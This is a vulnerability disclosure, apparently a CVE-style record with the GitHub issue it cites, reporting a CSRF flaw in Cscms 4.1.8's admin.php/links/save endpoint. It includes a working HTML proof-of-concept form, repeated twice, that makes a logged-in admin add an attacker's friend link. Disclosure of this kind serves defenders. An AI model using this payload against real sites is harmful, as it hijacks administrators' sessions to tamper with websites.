Cscms 4.1.8 allows admin.php/links/save CSRF to add, modify, or delete friend links.
cpe:2.3:a:chshcms:cscms:4.1.8:*:*:*:*:*:*:*
A70E830D-724F-4B4C-A709-0DAAD326DC70
OR
 just use add friend links for example:

After the admin logged in, we can send him a url with these code on that page 

PoC:
```html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:9000/admin.php/links/save" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;www&#46;google&#46;com" />
      <input type="hidden" name="cid" value="1" />
      <input type="hidden" name="pic" value="http&#58;&#47;&#47;" />
      <input type="hidden" name="sid" value="1" />
      <input type="hidden" name="id" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

after he clicked that button, then we can add our malicious link to the friend link:

admin page:
<img width="1224" alt="screen shot 2019-01-24 at 22 32 53" src="https://user-images.githubusercontent.com/17252049/51684919-21d68b80-2028-11e9-9ac6-e8cef2ea321f.png">

homepage:
<img width="910" alt="qq20190124-224351 2x" src="https://user-images.githubusercontent.com/17252049/51685599-965dfa00-2029-11e9-8b25-034e0f431b38.png">

There is a CSRF vulnerability that can add/modify/delete friend links
This is a GitHub Issue
repo:cscms
owner:chshcms
Title : There is a CSRF vulnerability that can add/modify/delete friend links
Issue date:

--- start body ---
 just use add friend links for example:

After the admin logged in, we can send him a url with these code on that page 

PoC:
```html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:9000/admin.php/links/save" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;www&#46;google&#46;com" />
      <input type="hidden" name="cid" value="1" />
      <input type="hidden" name="pic" value="http&#58;&#47;&#47;" />
      <input type="hidden" name="sid" value="1" />
      <input type="hidden" name="id" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

after he clicked that button, then we can add our malicious link to the friend link:

admin page:
<img width="1224" alt="screen shot 2019-01-24 at 22 32 53" src="https://user-images.githubusercontent.com/17252049/51684919-21d68b80-2028-11e9-9ac6-e8cef2ea321f.png">

homepage:
<img width="910" alt="qq20190124-224351 2x" src="https://user-images.githubusercontent.com/17252049/51685599-965dfa00-2029-11e9-8b25-034e0f431b38.png">

--- end body ---

comments :
--- start comments ---

--- end comments ---